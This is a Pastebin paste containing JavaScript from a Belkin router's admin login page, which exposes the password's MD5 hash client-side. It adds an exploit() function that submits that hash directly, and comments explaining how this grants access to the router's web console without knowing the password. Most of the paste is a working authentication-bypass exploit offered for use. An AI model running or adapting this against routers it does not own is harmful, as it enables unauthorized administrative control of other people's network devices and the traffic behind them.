Guest User

Untitled

a guest
Feb 18th, 2018
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.79 KB | None | 0 0
  1. /*
  2. The following is the code directly from the page that the
  3. Belkin router serves for login for admin privleges
  4. */
  5.  
  6. var password="d41d8cd98f00b204e9800998ecf8427e";
  7.  
  8. function checkfwVersion() {
  9. var newwin;
  10. if (auto_check && (password == hex_md5(document.tF.pws.value))) {
  11. newwin=window.open("fwAuto.stm","Firmware","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,width=395,height=200,resizable=0");
  12. newwin.focus();
  13. }
  14. var curTime = new Date();
  15. document.tF.totalMSec.value = curTime.getTime() / 1000 - curTime.getTimezoneOffset() * 60;
  16. if(typeof(bEncPassword) != 'undefined') {
  17. document.tF.pws.maxLength = 32;
  18. document.tF.pws.value = hex_md5(document.tF.pws.value);
  19. }
  20. document.tF.submit();
  21. }
  22.  
  23.  
  24. /*
  25. The following is the simple function that will allow
  26. you to send the hashed password to the router and
  27. login without any issues and without having to brute
  28. force the MD5 hash since they've already given us
  29. the hashed password. document.tF doesn't exist until you
  30. focus the textbox by clicking on it.
  31. */
  32.  
  33. function exploit() {
  34. document.tF.pws.maxLength = 32;
  35. document.tF.pws.value = password;
  36. document.tF.submit();
  37. }
  38.  
  39. exploit();
  40.  
  41. /*
  42. And that's it. Three simple lines will allow you
  43. to gain entry into the Belkin router web console
  44. without having any knowledge of the password.
  45. There seems to be some additional checking of the
  46. password firmware side but it expects the given
  47. value to already be MD5 hashed client side. This
  48. means that if you shove the very obvious password
  49. variable into the value of the form and call submit
  50. directly it sends the MD5 hash we got from the server
  51. and authenticates successfully. The hash in effect
  52. provides no additional security benefits because
  53. this equivocates to being sent a clear text password.
  54. */
Add Comment
Please, Sign In to add comment